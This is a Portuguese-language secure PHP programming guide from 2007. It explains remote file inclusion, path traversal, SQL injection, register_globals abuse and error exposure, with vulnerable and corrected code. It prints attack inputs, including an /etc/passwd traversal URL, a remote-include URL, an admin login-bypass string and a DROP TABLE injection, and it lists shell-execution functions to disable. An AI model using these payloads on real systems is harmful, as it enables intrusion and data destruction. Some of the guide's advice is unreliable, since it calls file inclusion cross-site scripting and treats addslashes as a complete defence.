PHP Seguro

Ernani Azevedo (PROCERGS – DPO/SAS Unix)

Revisão 1.2 – 19 de Abril de 2007

1 – Introdução

A linguagem PHP, por ser muito flexível, normalmente é utilizada de forma insegura, tanto pelo desenvolvedor quanto pelos administradores de servidores de hospedagem.

Existem diversas vulnerabilidades conhecidas, a sua grande maioria é de domínio público, facilmente encontradas na Internet. Muitos sites possuem material que ensinam como explorar estas falhas. É comum vermos em registros de acessos a servidores públicos, que utilizam PHP, tentativas de explorar estas falhas.

Por tal motivo, este documento serve como um guia para desenvolvedores e administradores. O intuito deste é criar uma cultura de desenvolvolvimento seguro.

Passaremos pelos problemas conhecidos enfatizando a forma que os mesmos são comumente utilizados, explorados e como escrever o mesmo código de forma simples e segura e a sua forma ideal.

Note-se também que estas regras de programação não são utilizadas apenas para segurança, mas para criar sistemas em PHP que sejam extremamente portáteis entre diversas plataformas e diferentes estruturas de servidores, desde o mais genérico ao mais seguro.

1.1 - Convenções utilizadas neste documento

As seguintes convenções são utilizadas neste documento:

Texto plano
: Documentação normal.

Texto reduzido
: Indica segmentos incompletos de códigos para exemplo.

Itálico
: Termos em inglês originais sem tradução.

Negrito
: Variáveis.

Negrito Itálico

Funções de programação.

Sublinhado
Links para URL's da Internet.

2 – Vulnerabilidades

As vulnerabilidades mais comuns no PHP são:

- Cross-site Scripting;
- SQL Injection;
- Inclusão de valores em variáveis internas;
- Exposição de informações do servidor (mensagens de erro);
- Exposição de arquivos do sistema e outros do servidor;
- Execução de programas no servidor.

Existem diversas outras regras e funções que devem ser desabilitadas em servidores para uma maior segurança. Estas configurações são feitas de forma que, se o desenvolvedor utilizar uma forma insegura de programação e com isso gerar uma falha que possa ser explorada remotamente; não venha a afetar o servidor e/ou outros sites hospedados no mesmo, e sim, que fique restrito à área do site que está vulnerável.

2.1 – Cross-site Scripting

O PHP possui uma funcionabilidade extremamente útil, que é a de aceitar URL's (endereços de páginas, FTP, etc) transparentemente em suas funções que acessam arquivos.

Esta funcionabilidade é conhecida por *URL Wrapper*[1]. Ela deve ser desabilitada, apesar de ser útil para desenvolvedores incluirem uma página remota facilmente.

Quando esta função é utilizada de forma incorreta, habilita a pior das brechas de segurança que um código em PHP pode possuir. Ele possibilita que qualquer um, remotamente, possa ler quaisquer arquivos do sistema que o processo do servidor web tenha permissão, além de poder executar qualquer script PHP no servidor onde o código esta hospedado.

Muitas vezes o desenvolvedor, ou por desconhecimento desta vulnerabilidade, ou por praticidade; utiliza, por exemplo:

1 http://www.php.net/manual/pt_BR/ref.filesystem.php#ini.allow-url-fopen

```
<?php
// Inclui o cabeçalho da página:
include ( "cabecalho.php");

// Inclui a página requisitada:
include ( $pagina);

// Inclui o rodapé da página:
include ( "rodape.php");
?>
```

Código 1: Exemplo de código vulneravel a Cross-site Scripting

Externamente, pode-se explorar este código de diversas formas. Uma delas, com a opção de *URL Wrapper* habilitada no servidor, é possivel que seja executado código externo ao servidor como se fosse local. Para isto, basta acessar o código da seguinte forma:

http://www.seusite.com.br/codigo1.php?pagina=http://www.inseguro.com.br/cod_externo.txt

Isto fará com que o PHP interprete o código da seguinte forma:

1. Inclui o arquivo "cabecalho.php";
2. Inclui o arquivo especificado em **$pagina**;
3. Inclui o arquivo "rodape.php";

Quando o PHP interpretar o segundo comando, ele vai incluir o arquivo indicado em **$pagina**. Quando o *URL Wrapper* está ativo, este arquivo também poderá ser uma URL de uma página externa. Neste caso, o PHP acessa o servidor remoto; requisita o arquivo e o processa como se fosse código local e legítimo, pois não existe qualquer verificação de autenticidade nessa transação.

Outra vulnerabilidade associada a utilização deste comando como descrito acima (mesmo com o *URL Wrapper* desabilitado) é a leitura de qualquer arquivo que o servidor tenha permissão de leitura. Por exemplo, o arquivo de senhas de um servidor Unix pode ser lido da seguinte forma:

http://www.seusite.com.br/codigo1.php?pagina=../../../../../../etc/passwd

Explicando: Os diretórios recursivos servem para retroceder ao diretório atual, que é onde o PHP procuraria inicialmente o arquivo. Com isto, pode-se ler scripts do site, de outros sites, informações internas do servidor, senhas, etc.

Esta vulnerabilidade pode ser facilmente corrigida utilizando o comando ***basename()***[2] na variável, reescrevendo o código para:

2 http://www.php.net/manual/pt_BR/function.basename.php

```
<?php
// Inclui o cabeçalho da página:
include ( "cabecalho.php");

// Inclui a página requisitada:
include ( basename ( $pagina));

// Inclui o rodapé da página:
include ( "rodape.php");
?>
```

Código 2: Exemplo de Cross-site Scripting seguro utilizando *basename()*

O comando ***basename()*** retorna apenas o nome do arquivo informado no parâmetro, retirando quaisquer informações de caminho para o mesmo.

Este comando possui uma limitação: Caso seja necessária a passagem de um diretório como parâmetro, o mesmo será excluído.

Outra conseqüência deste comando é a de que mesmo restringindo-se para que não seja passado nenhum parâmetro com diretório, ainda permite a visualização/execução de scripts e arquivos textos do diretório atual.

A forma mais correta e segura de se utilizar um include de arquivos para uma determinada variável é utilizando o comando ***switch()***[3]. O código ficaria então da seguinte forma:

```
<?php
// Inclui o cabeçalho da página:
include ( "cabecalho.php");

// Inclui a página requisitada:
switch ( $pagina)
{
  case "inicial":
    include "inicial.php";
    break;
  case "contato":
    include "contato.php";
    break;
  case "clientes":
    include "clientes.php";
    break;
  default:
    echo "A página requisitada não pode ser encontrada.";
    break;
}

// Inclui o rodapé da pagina:
include ( "rodape.php");
?>
```

Código 3: Exemplo de código não vulnerável a Cross-site Scripting

3 http://www.php.net/manual/pt_BR/control-structures.switch.php

A vantagem de se utilizar o comando ***switch()*** é que temos um maior controle sobre o sistema, limitando o que pode ser executado ou não, e também restringindo a exibição de páginas em desenvolvimento ou que não se queira que sejam expostas.

A desativação da funcionabilidade de *URL Wrapper* no PHP atinge diversos comandos, ou todos que aceitem um nome de arquivo como parâmetro para processá-los. Entre estes, estão: ***include()***[4], ***include_once()***, ***require()***, ***require_once()***, ***fopen()***, ***readfile()***, ***file()***, ***file_get_contents()***, etc...

2.1.1 – Lendo uma página remota

Para se ler uma página web remota, pode-se utilizar a seguinte função:

4 http://www.php.net/manual/pt_BR/function.include.php

```php
<?php
// Função para acessar uma página web e retornar seu conteúdo:
function acessa_pagina ( $url)
{
  // Separa informações da URL requisitada:
  $req = parse_url ( $url);
  // Verifica se o esquema requisitado é HTTP, se não for, retorna falso:
  if ( $req[“scheme”] != “http”)
  {
    return false;
  }
  // Verifica se a porta foi especificada, senão, utiliza a padrão (80):
  if ( empty ( $req[“port”]))
  {
    $req[“port”] = 80;
  }
  // Conecta ao servidor remoto:
  if ( ! $fp = @fsockopen ( $req[“host”], $req[“port”]))
  {
    return false;
  }

  // Cria o pedido de requisição HTTP da página:
  $request = “GET ” . $req[“path”];
  if ( ! empty ( $req[“query”]))
  {
    $request .= “?” . $req[“query”];
  }
  $request .= ” HTTP/1.0\r\n”;
  $request .= “Host: ” . $req[“host”] . “\r\n\r\n”;
  // Envia o pedido:
  fwrite ( $fp, $request);

  // Tratamos o retorno do servidor:
  $conteudo = “”;
  $headers = true;
  while ( ! feof ( $fp))
  {
    // Lemos 1024 caracters:
    $parcial = fgets ( $fp, 1024);
    if ( $headers == true)
    {
      // Procuramos pela primeira linha em branco, pois sinaliza o final dos
cabeçalhos.
      // Quando acharmos, setamos o cabeçalho para falso, para que comece a transferir
o
      // conteúdo para a variável $conteúdo.
      if ( substr ( $parcial, 0, 1) == chr ( 0x0A) || substr ( $parcial, 0, 1) == chr (
0x0D))
      {
        $headers = false;
      }
    } else {
      // Adicionamos o conteúdo a variável:
      $conteudo .= $parcial;
    }
  }

  // Finalizando, fechamos o ponteiro e retornamos o conteúdo do site:
  fclose ( $fp);
  return $conteudo;
}
?>
```

Código 4: Função para requisição de URL

2.2 – SQL Injection

Um problema que afeta praticamente todas linguagens de programação que acessam bancos de dados é a vulnerabilidade de SQL Injection.

Esta vulnerabilidade, permite que um usuário que acesse um código que contenha uma requisição a um banco de dados SQL, insira quaisquer comando nesta requisição.

A vulnerabilidade consiste em aproveitar a estrutura da linguagem SQL, que utiliza aspas simples para delimitar um conteúdo texto. Quando se utiliza diretamente o conteúdo de uma variável passada pelo cliente, pode-se adicionar uma aspa, e continuar os comandos SQL nesta variável. Isso fará com que o SQL execute o comando inicialmente escrito pelo desenvolvedor; feche a aspa e depois continue com o código malicioso. Há a possibilidade, ainda, de utilizar-se um ponto e vírgula, para incluir um novo comando SQL na mesma execução.

Segue um exemplo de código vulnerável:

```
<?php
// Conecta ao servidor MySQL:
if ( ! $ID = @mysql_connect ( “localhost”, “usuario”, “senha”))
{
  die ( “Erro: Não foi possível conectar ao servidor de banco de dados.”);
}

// Seleciona a base de dados:
if ( ! @mysql_select_db ( “base”, $ID))
{
  die ( “Erro: Não foi possível selecionar a base de dados.”);
}

// Verifica autenticação do usuário:
if ( ! $result = @mysql_query ( “SELECT * FROM usuarios WHERE USER = '$usuario' AND
PASS = '$senha'”, $ID))
{
  die ( “Erro: Não foi possível realizar a pesquisa no banco de dados.”);
}

// Verifica se o usuário foi autenticado:
if ( mysql_num_rows ( $result) == 0)
{
  die ( “Erro: Usuário e/ou senha inválidos.”);
}

// Realiza código autenticado...
?>
```

Código 5: Exemplo de código com vulnerabilidade de SQL Injection

Através do código acima, podemos explorar o mesmo de diversas maneiras. Como por exemplo:

http://www.seusite.com.br/codigo5.php?usuario=admin';

Isto fará com que a string de requisição ao banco de dados

seja alterada para:

```
SELECT * FROM usuarios WHERE USER = 'admin';' AND PASS = ''
```

O servidor SQL retornará a primeira linha contendo o usuário "admin", e posteriormente descarte a segunda requisição por conter erro, fazendo com que o cliente acesse o sistema sem autenticação como um usuário administrador.

Pode-se realizar outras requisições, inclusive destrutivas na base de dados, como por exemplo:

http://www.seusite.com.br/codigo5.php?usuario=';DROP TABLE usuarios;

Que faria com que a tabela de usuários do banco de dados fosse completamente apagada.

O PHP possui uma função chamada ***addslashes()***[5], que recebe como parâmetro o conteúdo ao qual se deseja passar ao SQL, e retorna o mesmo de forma segura, ou seja, com caracteres que tornam as aspas como caracteres literais, ao invés de comandos, através da utilização de caracteres de escape. Isto faz com que a exploração desta vulnerabilidade seja impossibilitada.

Alguns servidores PHP possuem uma funcionalidade que aplica automaticamente a tradução de caracteres vulneráveis a SQL Injection (é como se todos os parâmetros recebidos tivessem sido passados pela função ***addslashes()***). Por este motivo, devemos verificar se a funcionalidade está ativa. Podemos utilizar a seguinte função para retornar o valor corrigido, independentemente da configuração do servidor:

```
<?php
// Adicionamos uma função para verificar se o servidor executou addslashes() de forma
// transparente, senão executamos:
function checkslashes ( $valor)
{
  if ( ! get_magic_quotes_gpc ())
  {
    return addslashes ( $valor);
  } else {
    return $valor;
  }
}
?>
```

Código 6: Exemplo de código para utilização correta do *addslashes()*

Portanto, podemos reescrever o código vulnerável assim:

5 http://www.php.net/manual/pt_BR/function.addslashes.php

```
<?php
// Conecta ao servidor MySQL:
if ( ! $ID = @mysql_connect ( “localhost”, “usuario”, “senha”))
{
  die ( “Erro: Não foi possível conectar ao servidor de banco de dados.”);
}

// Seleciona a base de dados:
if ( ! @mysql_select_db ( “base”, $ID))
{
  die ( “Erro: Não foi possível selecionar a base de dados.”);
}

// Verifica autenticação do usuário:
if ( ! $result = @mysql_query ( “SELECT * FROM usuarios WHERE USER = '” . checkslashes
( $usuario) . “' AND PASS = '” . checkslashes ( $senha) . “'”, $ID))
{
  die ( “Erro: Não foi possível realizar a pesquisa no banco de dados.”);
}

// Verifica se o usuário foi autenticado:
if ( mysql_num_rows ( $result) == 0)
{
  die ( “Erro: Usuário e/ou senha inválidos.”);
}

// Realiza código autenticado...
?>
```

Código 7: Exemplo de código sem vulnerabilidade de SQL Injection

O código acima utiliza a função ***checkslashes()*** documentada no código 6, fazendo com que os parâmetros informados sejam verificados e retornados de forma segura.

Podemos utilizar o comando ***stripslashes()***[6] para remover os caracteres adicionados no ***checkslashes()*** e no ***addslashes()*** no caso de querermos mostrar um valor na forma que foi enviado.

2.3 – Inclusão de valores em variáveis internas

Uma vulnerabilidade pouco explorada, porém com um grande potencial que impacta na segurança de um sistema, é a inclusão de variáveis de uso interno do código.

Esta vulnerabilidade consiste na inclusão de uma variável com um valor determinado pelo cliente, fazendo com que o sistema quando utilize esta variável assuma o valor informado pelo mesmo.

Por exemplo. Em um sistema de autenticação que inclui uma variável para verificar posteriormente se o usuário foi autenticado, como codificado abaixo:

6 http://www.php.net/manual/pt_BR/function.stripslashes.php

```
<?php
// Autenticamos o usuario:
if ( $usuario == "teste" && $senha == "senhateste")
{
  $autenticado = true;
}

// Segue algum código...

// Agora verificamos se o usuário foi autenticado, e mostramos as opções
administrativas:
if ( $autenticado)
{
  switch ( $acao)
  {
    case "exclui":
      exclui_usuario ();
      break;
    case "adiciona":
      adiciona_usuario ();
      break;
    default:
      echo "Erro: Comando desconhecido.";
      break;
  }
}
?>
```

Código 8: Exemplo de código vulnerável a valores externos

Podemos burlar a autenticação acima utilizando:

http://www.seusite.com.br/codigo8.php?autenticado=1

Este comando faria com que o usuário não fosse autenticado, mas teria acesso a funções restritas de administração, pois o código verifica a variável **$autenticado** enviada pelo cliente.

A melhor solução para este caso é se desabilitar a funcionabilidade de *register_globals*[7] do servidor, e acessarmos as informações de variáveis enviadas por clientes de uma forma segura. Podemos verificar esta opção com o comando ***ini_get ("register_globals")***[8], como segue o exemplo:

7 http://www.php.net/manual/pt_BR/security.globals.php
8 http://www.php.net/manual/pt_BR/function.ini-set.php

```
<?php
// Verifica se a funcionabilidade "register_globals" está desabilitada (mais seguro):
if ( ini_get ( "register_globals") == true)
{
  die ( "Erro: Este script não pode ser executado de forma insegura. Desative a
funcionabilidade 'register_globals' no servidor.");
}

// Autenticamos o usuário:
if ( $_REQUEST["usuario"] == "teste" && $_REQUEST["senha"] == "senhateste")
{
  $autenticado = true;
}

// Segue algum codigo...

// Agora verificamos se o usuário foi autenticado, e mostramos as opções
administrativas:
if ( $autenticado)
{
  switch ( $_REQUEST["acao"])
  {
    case "exclui":
      exclui_usuario ();
      break;
    case "adiciona":
      adiciona_usuario ();
      break;
    default:
      echo "Erro: Comando desconhecido.";
      break;
  }
}
?>
```

Código 9: Exemplo de código seguro a valores externos

Nota-se no código 9 que as variáveis externas estão sendo tratadas pela variável *Super Global*[9] **$_REQUEST**[10], que possui todas as variáveis e valores passados por um cliente.

Esta variável leva em consideração todos valores passados pelos modos *GET*, *POST* e *COOKIE*, e que até certa forma não podem ser confiáveis. A ordem em que elas são processadas para formar esta *Super Global* é determinada pela diretiva *variable_order* no arquivo de configuração do PHP no servidor. Esta diretiva tem por padrão a ordem de *GET*, *POST* e *COOKIE*.

Caso você deseje, também pode acessar estas informações enviadas por cada protocolo específico, acessando os valores através das *Super Globals* **$_GET**[11], **$_POST**[12] e **$_COOKIE**[13].

2.4 - Exposição de informações do servidor (mensagens de erro)

9 http://www.php.net/manual/pt_BR/language.variables.predefined.php#language.variables.superglobals
10 http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.request
11 http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.get
12 http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.post
13 http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.cookies

Diversas informações sobre os scripts e sobre a estrutura na qual foi configurado o servidor podem ser visualizadas através de simples mensagens de erro, fornecendo informações importantes para um indivíduo que está tentando explorar alguma vulnerabilidade.

Além das mensagens de erro estarem em inglês, elas podem deixar o site com uma aparência amadora, por não tratar os seus erros.

Você pode utilizar o operador @ (arroba) antes dos comandos, para evitar que caso o mesmo retorne um erro, este seja apresentado ao cliente. Segue um exemplo de código mostrando erro:

```
<?php
$id = mysql_connect ( “localhost”, “usuarioinvalido”, “senha”);
?>
```

Código 10: Exemplo de código sem tratamento de erros

O código acima, contendo um usuário inválido, retornaria a seguinte mensagem de erro:

Warning: mysql_connect(): Can't connect to local MySQL server through socket '/var/run/mysql.sock' (2) in **/srv/http/www.seudominio.com.br/htdocs/codigo10.php** on line **2**

Este erro, além de ser ilegível para um usuário leigo, disponibiliza informações sobre a área onde o script está sendo hospedado no servidor, assim como estrutura interna do mesmo.

Podemos utilizar de forma simples, rápida e limpa o mesmo código:

```
<?php
if ( ! $id = @mysql_connect ( “localhost”, “usuarioinvalido”, “senha”))
{
  die ( “Desculpe-nos, ocorreu um erro interno no sistema. Tente novamente mais tarde.
Se o problema persistir, entre em contato com o administrador do sistema.”);
}
?>
```

Código 11: Exemplo de código com tratamento de erro

O operador @ utilizado exatamente antes do comando ***mysql_connect()*** evita que o comando retorne qualquer mensagem de erro ao cliente. Ao invés disto, verificamos se a operação foi realizada com sucesso, dentro do ***if***, retornando uma mensagem amigável.

2.5 - Exposição de arquivos do sistema e outros do servidor

Outra vulnerabilidade que comumente é esquecida pelos administradores dos servidores de hospedagem é o fato de que o PHP pode visualizar todos os arquivos do sistema, incluindo arquivos de configuração, senhas, scripts de outros clientes, etc, que o servidor web tenha permissão de leitura.

Esta vulnerabilidade pode e deve ser bloqueada para cada domínio hospedado no servidor pelos administradores. Os domínios devem ter acesso somente aos seus arquivos.

Esta configuração evita que, mesmo quando houver a possibilidade de haver um script contendo vulnerabilidade de Cross-site scripting ou existir uma pessoa mal intencionada com acesso FTP a área de hospedagem, sejam expostos os arquivos do sistema.

2.6 – Execução de programas no servidor

Deve-se também desabilitar nos servidores PHP diversas funções. A maioria ligada diretamente a execução de programas no servidor, além das funções que manipulam processos internos e a memória do mesmo.

As funções que devem ser desabilitadas sao: ***exec()***, ***passthru()***, ***popen()***, ***pclose()***, ***proc_close()***, ***proc_get_status()***, ***proc_nice()***, ***proc_open()***, ***proc_terminate()***, ***shell_exec()***, ***system()*** e ***phpinfo()***.

Deve-se também desabilitar as seguintes classes de comandos: *sysvshm*, *sysvsem*, *sockets*, *shmop*, *qtdom*, *posix*, *dio*, *crack*.

3 – Maior portabilidade

Deve-se procurar sempre que possível utilizar variáveis padrões para recuperar informações sobre o sistema e sobre os arquivos no servidor. Utilizando as variáveis padrões, obtemos uma maior portabilidade do sistema desenvolvido. Algumas variáveis importantes são:

- **$_SERVER["PHP_SELF"]:** Url do script que foi executado. Útil para se referenciar um formulário para o próprio script, fazendo com que se o mesmo for renomeado, não necessite ser alterado internamente, alem de evitar erros de programação;
- **$_SERVER["DOCUMENT_ROOT"]:** Retorna o diretório raiz da sua área de hospedagem;
- **$_SERVER["REMOTE_ADDR"]:** IP do cliente que requisitou a página;
- **$_SERVER["REMOTE_HOST"]:** Endereço do cliente que requisitou a página;

Você deve sempre procurar utilizar as *Super Globals*, que são variáveis internas do PHP contendo diversas informações sobre o sistema e o seu código.

Sempre desenvolva utilizando **$_REQUEST**, **$_GET**, **$_POST**, **$_COOKIE**, pois estas são padrão em qualquer sistema. E quando você portar seu código para um servidor seguro, o mesmo não irá necessitar de grandes alterações.